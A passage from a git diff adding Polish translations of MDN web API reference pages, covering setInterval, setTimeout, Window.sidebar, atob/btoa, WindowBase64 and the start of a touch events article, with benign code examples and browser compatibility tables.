+<p>DOM poziom 0. Nie jest częścią specyfikacji.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.scrollTo", "fr": "fr/DOM/window.scrollTo", "ja": "ja/DOM/window.scrollTo" } ) }}</p>
diff --git a/files/pl/web/api/window/setinterval/index.html b/files/pl/web/api/window/setinterval/index.html
new file mode 100644
index 0000000000..5cbfadde80
--- /dev/null
+++ b/files/pl/web/api/window/setinterval/index.html
@@ -0,0 +1,87 @@
+---
+title: window.setInterval
+slug: Web/API/Window/setInterval
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Ustawia opóźnienie do cyklicznego wywoływania określonej funkcji.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="eval"><em>var idInterwalu</em> = window.setInterval(<em>funkcja</em>, <em>opóźnienie</em>[, <em>parametr1</em>, <em>parametr2</em>, ...]);
+<em>var idInterwalu</em> = window.setInterval(<em>kod</em>, <em>opóźnienie</em>);</pre>
+
+<p> Parametry</p>
+
+<ul>
+ <li><code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">idInterwalu</code> to identyfikator ustawianego interwału który można przekazać do funkcji <code><a href="/pl/DOM/window.clearInterval" title="pl/DOM/window.clearInterval">window.clearInterval()</a></code>.</li>
+ <li><code>funkcja</code> to funkcja, dla której ustawiane jest opóźnienie</li>
+ <li><code>kod </code>to ciąg znaków zawierający kod javascript do cyklicznego wykonania. Jest to składnia alternatywna, której wykorzystanie <strong>nie jest zalecane</strong> z tych samych powodów, co stosowanie <code><a href="/en/JavaScript/Reference/Global_Objects/eval#Don%27t_use_eval!" title="en/JavaScript/Reference/Global Objects/eval#Don't use eval!">eval()</a></code>.</li>
+ <li><code>opóźnienie</code> to liczba milisekund (tysięcznych części sekundy), co którą wywoływana będzie <code>funkcja </code>lub <code>kod</code></li>
+</ul>
+
+<p>Należy zwrócić uwagę, że przekazywanie dodatkowych parametrów w pierwszej składni nie działa w Internet Explorerze.</p>
+
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+
+<pre class="brush: js">idInterwalu = window.setInterval(animuj, 500);
+</pre>
+
+<p> W poniższym przykładzie, funkcja <code>zmienKolorTekstu()</code> będzie wykonywana co sekundę, dopóki użytkownik nie naciśnie przycisku Stop, co spowoduje wywołanie <code>clearInterval() </code>z parametrem <code>idInterwalu</code>.</p>
+
+<pre class="brush: js" style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 15px; padding-right: 15px; padding-bottom: 15px; padding-left: 15px; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dotted; border-right-style: dotted; border-bottom-style: dotted; border-left-style: dotted; background-clip: initial; background-color: rgb(246, 246, 242); font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace;">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;przykład z wykorzystaniem setInterval/clearInterval&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+var idInterwalu;
+
+function zmienKolor() {
+ idInterwalu = setInterval(zmienKolorTekstu, 1000);
+}
+
+function zmienKolorTekstu() {
+ var elem = document.getElementById("my_box");
+ if (elem.style.color == 'red') {
+ elem.style.color = 'blue';
+ } else {
+ elem.style.color = 'red';
+ }
+}
+
+function zatrzymajZmianeKoloru() {
+ clearInterval(idInterwalu);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="zmienKolor();"&gt;
+&lt;div id="my_box"&gt;
+&lt;p&gt;Hello World&lt;/p&gt;
+&lt;/div&gt;
+&lt;button onclick="zatrzymajZmianeKoloru();"&gt;Stop&lt;/button&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Uwagi">Uwagi</h3>
+
+<p>Funkcja setInterval() służy do ustawienia opóźnienia dla cyklicznie wywoływanych funkcji, takich jak funkcje animacji.</p>
+
+<p>Możliwe jest anulowanie wykonania fukcji poprzez wywołanie <code><a href="/pl/DOM/window.clearInterval" title="pl/DOM/window.clearInterval">window.clearInterval()</a></code>.</p>
+
+<p>Jeżeli funkcja ma zostać wykonana <em>tylko raz</em> a nie być wykonywana cyklicznie to należy skorzystać z  <code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;"><a href="/pl/DOM/window.setTimeout" title="pl/DOM/window.setTimeout">window.setTimeout()</a></code>.</p>
+
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+
+<p>{{ DOM0() }}</p>
+
+<p>{{ languages( { "en": "en/DOM/window.setInterval", "fr": "fr/DOM/window.setInterval", "ja": "ja/DOM/window.setInterval", "pl": "pl/DOM/window.setInterval" } ) }}</p>
diff --git a/files/pl/web/api/window/settimeout/index.html b/files/pl/web/api/window/settimeout/index.html
new file mode 100644
index 0000000000..926080dd5b
--- /dev/null
+++ b/files/pl/web/api/window/settimeout/index.html
@@ -0,0 +1,46 @@
+---
+title: window.setTimeout
+slug: Web/API/Window/setTimeout
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Uruchamia fragment kodu bądź funkcję po określonym odstępie czasu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><em>id</em> = window.setTimeout(<em>funkcja</em>, <em>opóźnienie</em>[, <em>param1</em>, <em>param2</em>, ...]);
+<em>id</em> = window.setTimeout(<em>kod</em>, <em>opóźnienie</em>);
+</pre>
+<p>gdzie</p>
+<ul>
+ <li><code>funkcja</code> to <a href="/pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Function" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Function">funkcja</a>, jaką chcesz uruchomić po opóźnieniu
+ <ul>
+ <li>w alternatywnej składni, <code>kod</code> to ciąg znaków z kodem, który będzie wykonany po upływie podanego czasu</li>
+ </ul>
+ </li>
+ <li><code>opóźnienie</code> to liczba milisekund (tysięcznych części sekundy), po których upływie wykonana zostanie funkcja</li>
+ <li><code>id</code> to identyfikator, którego można użyć z <a href="/pl/DOM/window.clearTimeout" title="pl/DOM/window.clearTimeout">window.clearTimeout</a></li>
+</ul>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">window.setTimeout('window.parent.generateOutput()', 1000);
+</pre>
+<pre class="eval">function generateOutput(aConcise) {
+ if(aConcise)
+ parent.generateConciseOutput();
+ else
+ parent.generateOutput();
+}
+window.setTimeout(generateOutput, 1000, true);
+</pre>
+<p>Zobacz też <a href="/pl/DOM/window.clearTimeout#Example" title="pl/DOM/window.clearTimeout#Example">przykład użycia clearTimeout()</a>.</p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Możesz anulować opóźnienie wywołania funkcji za pomocą <a href="/pl/DOM/window.clearTimeout" title="pl/DOM/window.clearTimeout">window.clearTimeout()</a>.</p>
+<p>Jeśli chcesz, by funkcja była uruchamiana cyklicznie (np. co każde N milisekund), rozważ wykorzystanie <a href="/pl/DOM/window.setInterval" title="pl/DOM/window.setInterval">window.setInterval()</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>{{ DOM0() }}</p>
+<p>{{ languages( { "en": "en/DOM/window.setTimeout", "fr": "fr/DOM/window.setTimeout", "ja": "ja/DOM/window.setTimeout", "pl": "pl/DOM/window.setTimeout" } ) }}</p>
diff --git a/files/pl/web/api/window/sidebar/index.html b/files/pl/web/api/window/sidebar/index.html
new file mode 100644
index 0000000000..280b5dcce3
--- /dev/null
+++ b/files/pl/web/api/window/sidebar/index.html
@@ -0,0 +1,56 @@
+---
+title: Window.sidebar
+slug: Web/API/Window/sidebar
+tags:
+ - DOM
+ - NeedsTranslation
+ - Non-standard
+ - Property
+ - Reference
+ - TopicStub
+ - Window
+translation_of: Web/API/Window/sidebar
+---
+<div>{{APIRef}} {{Non-standard_header}}</div>
+
+<p>Returns a sidebar object, which contains several methods for registering add-ons with the browser.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>The sidebar object returned has the following methods:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <th>Method</th>
+ <th>Description (SeaMonkey)</th>
+ <th>Description (Firefox)</th>
+ </tr>
+ <tr>
+ <td><code>addPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+ <td>Adds a sidebar panel.</td>
+ <td rowspan="2">Obsolete since Firefox 23 (only present in SeaMonkey).<br>
+ End users can use the "load this bookmark in the sidebar" option instead. Also see <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Creating_a_Firefox_sidebar">Creating a Firefox sidebar.</a></td>
+ </tr>
+ <tr>
+ <td><code>addPersistentPanel(<var>title</var>, <var>contentURL</var>, "")</code></td>
+ <td>Adds a sidebar panel, which is able to work in the background.</td>
+ </tr>
+ <tr>
+ <td><code>AddSearchProvider(<em>descriptionURL)</em></code></td>
+ <td colspan="2">Installs a search provider (OpenSearch). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_OpenSearch_plugins" title="Adding_search_engines_from_web_pages">Adding OpenSearch search engines </a>contains more details. Added in Firefox 2.</td>
+ </tr>
+ <tr>
+ <td><code>addSearchEngine(<var>engineURL</var>, <var>iconURL</var>, <var>suggestedTitle</var>, <var>suggestedCategory</var>)</code> {{Obsolete_inline(44)}}</td>
+ <td colspan="2">Installs a search engine (Sherlock). <a href="/en-US/docs/Web/API/Window/sidebar/Adding_search_engines_from_Web_pages#Installing_Sherlock_plugins" title="Adding_search_engines_from_web_pages">Adding Sherlock search engines </a>contains more details.</td>
+ </tr>
+ <tr>
+ <td><code>IsSearchProviderInstalled(<em>descriptionURL)</em></code></td>
+ <td colspan="2">Indicates if a specific search provider (OpenSearch) is installed.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<p>Mozilla-specific. Not part of any standard.</p>
diff --git a/files/pl/web/api/windowbase64/atob/index.html b/files/pl/web/api/windowbase64/atob/index.html
new file mode 100644
index 0000000000..cd36201a6c
--- /dev/null
+++ b/files/pl/web/api/windowbase64/atob/index.html
@@ -0,0 +1,104 @@
+---
+title: WindowBase64.atob()
+slug: Web/API/WindowBase64/atob
+tags:
+ - API
+ - Base-64
+ - Base64
+ - Method
+ - Metodă
+ - Reference
+ - Referencja
+ - WindowBase64
+translation_of: Web/API/WindowOrWorkerGlobalScope/atob
+---
+<p>{{APIRef}}</p>
+<p>Funkcja <strong><code>WindowBase64.atob()</code></strong> dekoduje ciąg danych, który został zakodowany używając kodowania base-64. Możesz użyć metody <a href="/pl/docs/Web/API/WindowBase64.btoa"><code>window.btoa()</code></a> aby zakodować i przesłać dane, które w innym wypadku mogą powodować problemy z komunikacją, a następnie odebrać je i użyć metody <code>window.atob()</code> aby zdekodować dane ponownie. Na przykład możesz zakodować, przesłać i zdekodować znaki kontrolne ASCII o wartościach od 0 do 31.</p>
+<p>Aby używać tej funkcji z ciągami Unicode albo UTF-8, zobacz <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#The_.22Unicode_Problem.22">tę uwagę w Kodowaniu i dekodowaniu Base64</a> i <a href="/pl/docs/Web/API/WindowBase64.btoa#Ci.C4.85gi_Unicode">tę uwagę w <code>window.btoa()</code></a>.</p>
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+<pre class="syntaxbox">var odkodowaneDane = window.atob(<em>zakodowaneDane</em>);</pre>
+<h2 id="Example" name="Example">Przykład</h2>
+<pre class="brush:js">var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu
+var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu</pre>
+<h2 id="Specyfikacje">Specyfikacje</h2>
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Bez zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Migawka {{SpecName("HTML WHATWG")}}. Utworzenie <code>WindowBase64</code> (properties where on the target before it).</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność przeglądarek</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funkcja</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(1)}}[1][2]</td>
+ <td>10</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funkcja</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(1)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<p>[1]  <code>btoa()</code> jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli <code><a href="https://developer.mozilla.org/pl/docs/DOM/window" lang="pl">window</a></code> nie jest globalnym obiektem w komponencie<code>.</code></p>
+<p>[2] Wraz z <a href="/pl/Firefox/Releases/27/Site_Compatibility">Firefoxem 27</a>, metoda <code>atob()</code> ignoruje wszystkie spacje w argumencie dla zgodności z najnowszą specyfikacją HTML5. ({{ bug(711180) }})</p>
+<h2 id="See_also" name="See_also">Zobacz też</h2>
+<ul>
+ <li><a href="https://developer.mozilla.org/Web/API/WindowBase64/Base64_encoding_and_decoding">Kodowanie i dekodowanie Base64</a></li>
+ <li><a href="/pl/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li><a href="/pl/docs/Web/API/WindowBase64.btoa"><code>window.btoa()</code></a></li>
+</ul>
diff --git a/files/pl/web/api/windowbase64/btoa/index.html b/files/pl/web/api/windowbase64/btoa/index.html
new file mode 100644
index 0000000000..cf3e90c26d
--- /dev/null
+++ b/files/pl/web/api/windowbase64/btoa/index.html
@@ -0,0 +1,126 @@
+---
+title: WindowBase64.btoa()
+slug: Web/API/WindowBase64/btoa
+tags:
+ - API
+ - Base-64
+ - Base64
+ - Method
+ - Reference
+ - Referencja
+ - WindowBase64
+translation_of: Web/API/WindowOrWorkerGlobalScope/btoa
+---
+<p>{{APIRef}}</p>
+<p>Tworzy string ASCII zakodowany w base-64 z ciągu ("string") danych binarnych.</p>
+<p>Metoda ta jednak nie nadaje się do konwertowania surowych ciągów <a href="http://www.unicode.org/standard/WhatIsUnicode.html">Unicode</a>! Zobacz sekcję Unicode poniżej.</p>
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+<pre class="syntaxbox">var zakodowaneDane = window.btoa(<em>ciagDoZakodowania</em>);</pre>
+<h2 id="Example" name="Example">Przykład</h2>
+<pre class="brush:js">var zakodowaneDane = window.btoa("Hello, world"); // kodowanie ciągu
+var odkodowaneDane = window.atob(zakodowaneDane); // odkodowywanie ciągu ("Hello, world")
+</pre>
+<h2 id="Notes" name="Notes">Uwagi</h2>
+<p>Możesz używać tej metody do kodowania danych, które w innym wypadku mogą powodować problemy z komunikacją. Przekaż je, a następnie użyj metody <code><a href="/pl/docs/Web/API/WindowBase64.atob" title="DOM/window.atob">window.atob()</a></code> aby odkodować dane ponownie. Na przykład możesz zakodować znaki kontrolne takie jak ASCII o wartości od 0 do 31.</p>
+<p><code>btoa()</code> jest także dostępne dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli <a href="/pl/docs/DOM/window" title="DOM/window"><code>window</code></a> nie jest globalnym obiektem w komponencie.</p>
+<h2 id="Ciągi_Unicode">Ciągi Unicode</h2>
+<p>W większości przeglądarek odwołanie się do <code>window.btoa()</code> z ciągiem Unicode spowoduje wystąpienie wyjątku <code>Character Out Of Range</code>.</p>
+<p>Aby tego uniknąć, rozważ ten model odnotowany przez <a class="external" href="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html" title="http://ecmanaut.blogspot.com/2006/07/encoding-decoding-utf8-in-javascript.html">Johana Sundströma</a>:</p>
+<pre class="brush:js">function utf8_to_b64( str ) {
+ return window.btoa(encodeURIComponent( escape( str )));
+}
+
+function b64_to_utf8( str ) {
+ return unescape(decodeURIComponent(window.atob( str )));
+}
+
+// Usage:
+utf8_to_b64('✓ à la mode'); // JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ==
+b64_to_utf8('JTI1dTI3MTMlMjUyMCUyNUUwJTI1MjBsYSUyNTIwbW9kZQ=='); // "✓ à la mode"
+
+utf8_to_b64('I \u2661 Unicode!'); // SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ==
+b64_to_utf8('SSUyNTIwJTI1dTI2NjElMjUyMFVuaWNvZGUlMjUyMQ=='); // "I ♡ Unicode!"
+
+</pre>
+<p>Lepszym, bardziej wiarygodnym i mniej wymagającym rozwiązaniem jest konwersja <code><a href="/pl/docs/Web/API/DOMString">DOMString</a></code> do ciągu zakodowanego w UTF-8 używając <a href="/pl/docs/Web/JavaScript/Typed_arrays">TypedArray</a>. W tym celu proszę zapoznać się z <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Solution_.232_.E2.80.93_rewriting_atob()_and_btoa()_using_TypedArrays_and_UTF-8">tym akapitem</a>.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Specyfikacje</h2>
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Brak zmian od ostatniej migawki, {{SpecName("HTML5.1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Migawka {{SpecName("HTML WHATWG")}}. Bez zmian.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Migawka {{SpecName("HTML WHATWG")}}. Utworzenie <code>WindowBase64</code> (properties where on the target before it).</td>
+ </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność przeglądarek</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funkcja</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(1)}}[1]</td>
+ <td>10</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Funkcja</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Podstawowa obsługa</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile(1)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+ </table>
+</div>
+<p>[1] <code>btoa()</code> jest także dostępna dla komponentów XPCOM zaimplementowanych w JavaScript, nawet jeżeli <code><a href="/pl/docs/DOM/window" lang="pl">window</a></code> nie jest globalnym obiektem w komponencie<code>.</code></p>
+<h2 id="See_also" name="See_also">Zobacz też</h2>
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Kodowanie i dekodowanie Base64</a></li>
+ <li><a href="/pl/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li><a href="/pl/docs/Web/API/WindowBase64.atob"><code>window.atob()</code></a></li>
+</ul>
diff --git a/files/pl/web/api/windowbase64/index.html b/files/pl/web/api/windowbase64/index.html
new file mode 100644
index 0000000000..2d13e49406
--- /dev/null
+++ b/files/pl/web/api/windowbase64/index.html
@@ -0,0 +1,113 @@
+---
+title: WindowBase64
+slug: Web/API/WindowBase64
+translation_of: Web/API/WindowOrWorkerGlobalScope
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>The <code><strong>WindowBase64</strong></code> helper contains utility methods to convert data to and from base64, a binary-to-text encoding scheme. For example it is used in <a href="/en-US/docs/data_URIs">data URIs</a>.</p>
+
+<p>There is no object of this type, though the context object, either the {{domxref("Window")}} for regular browsing scope, or the {{domxref("WorkerGlobalScope")}}  for workers, implements it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This helper neither defines nor inherits any properties.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This helper does not inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowBase64.atob()")}}</dt>
+ <dd>Decodes a string of data which has been encoded using base-64 encoding.</dd>
+ <dt>{{domxref("WindowBase64.btoa()")}}</dt>
+ <dd>Creates a base-64 encoded ASCII string from a string of binary data.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#windowbase64', 'WindowBase64')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', '#windowbase64', 'WindowBase64')}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "#windowbase64", "WindowBase64")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties where on the target before it).</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatGeckoDesktop(1)}} [1]</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>10.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Android</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatGeckoMobile(1)}}</td>
+ <td rowspan="1">{{CompatVersionUnknown}}</td>
+ <td rowspan="1">{{CompatVersionUnknown}}</td>
+ <td rowspan="1">{{CompatVersionUnknown}}</td>
+ <td rowspan="1">{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though {{domxref("Window")}} is not the global object in components.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li>{{domxref("Window")}}, {{domxref("WorkerGlobalScope")}}, {{domxref("DedicatedWorkerGlobalScope")}}, {{domxref("SharedWorkerGlobalScope")}}, and {{domxref("ServiceWorkerGlobalScope")}}</li>
+</ul>
diff --git a/files/pl/web/api/zdarzenia_dotykowe/index.html b/files/pl/web/api/zdarzenia_dotykowe/index.html
new file mode 100644
index 0000000000..4d49e9b5b5
--- /dev/null
+++ b/files/pl/web/api/zdarzenia_dotykowe/index.html
@@ -0,0 +1,336 @@
+---
+title: Zdarzenia dotykowe
+slug: Web/API/Zdarzenia_dotykowe
+translation_of: Web/API/Touch_events
+---
+<div>{{DefaultAPISidebar("Touch Events")}}</div>
+
+<p>W celu zapewnienia wsparcia dla dotykowych interfejsów użytkownika, zdarzenia dotykowe oferują możliwość interpretowania aktywności palca (lub rysika) na ekranach i gładzikach.</p>
+
+<p>Interfejsy zdarzeń dotykowych to stounkowo niskopoziomowe API, które mogą być użyte do specyficznych dla aplikacji wielodotykowych interakcji takich jak gesty wykonywane dwoma palcami. Interakcja wielodotykowa zaczyna się, kiedy palec (lub rysik) dotyka powierzchni ekranu lub gładzika. Pozostałe palce mogą dotknąć powierzhni później i, opcjonalnie, poruszać się po powierzchni dotykowej. Interakcja kończy się, gdy palce są zabrane z powierzchni ekranu lub gładzika. W czasie trwania interakcji, aplikacja odbiera zdarzenia dotykowe podczas faz startu, ruchu i zakończenia tejże interakcji.</p>
+
+<p>Zdarzenia dotykowe są podobne do zdarzeń myszki, z tą różnicą, że pozwalają na jednoczesne dotknięcia w różnych miejscach na ekranie. Interfejs {{domxref("TouchEvent")}} hermetyzuje wszystkie punkty dotyku aktywne w danym momencie. Interfejs {{domxref("Touch")}}, który reprezentuje pojedynczy punkt dotyku, zawiera informacje takie jak pozycja punktu dotyku w stosunku do widoku okna przeglądarki.</p>
+
+<h2 id="Definicje">Definicje</h2>
+
+<dl>
+ <dt>Powierzchnia</dt>
+ <dd>Powierzchnia dotykowa. Może to być ekran lub gładzik.</dd>
+</dl>
+
+<dl>
+ <dt>Punkt dotyku</dt>
+ <dd>Punkt kontaktu z powierzchnią. Może to być palec (lub łokieć, ucho, nos, cokolwiek, ale najczęściej jednak palec) lub rysik.</dd>
+</dl>
+
+<h2 id="Interfejsy">Interfejsy</h2>
+
+<dl>
+ <dt>{{domxref("TouchEvent")}}</dt>
+ <dd>Reprezentuje zdarzenie, które zachodzi, gdy stan dotknięć powierzchni się zmienia.</dd>
+ <dt>{{domxref("Touch")}}</dt>
+ <dd>Reprezentuje pojedynczy punkt kontaktu między użytkownikiem a powierzchnią dotykową.</dd>
+ <dt>{{domxref("TouchList")}}</dt>
+ <dd>Reprezentuje grupę dotknięć; jest używany, gdy na przykład użytkownik dotyka powierzchni wieloma palcami jednocześnie.</dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<p>Poniższy przykład śledzi wiele dotknięć w jednym czasie, pozwalając użytkownikowi na rysowanie w elemencie {{HTMLElement("canvas")}} przy użyciu więcej niż jednego palca jednocześnie. Kod ten będzie działać jedynie w przeglądarkach wspierających zdarzenia dotykowe.</p>
+
+<div class="note"><strong>Uwaga:</strong> W niniejszym tekście słowo „palec” używane jest do opisania kontaktu z powierzchnią dotykową, ale może to być oczywiście także rysik lub dowolna inna metoda dotykania ekranu.</div>
+
+<h3 id="Stwórz_kanwę">Stwórz kanwę</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="600" style="border:solid black 1px;"&gt;
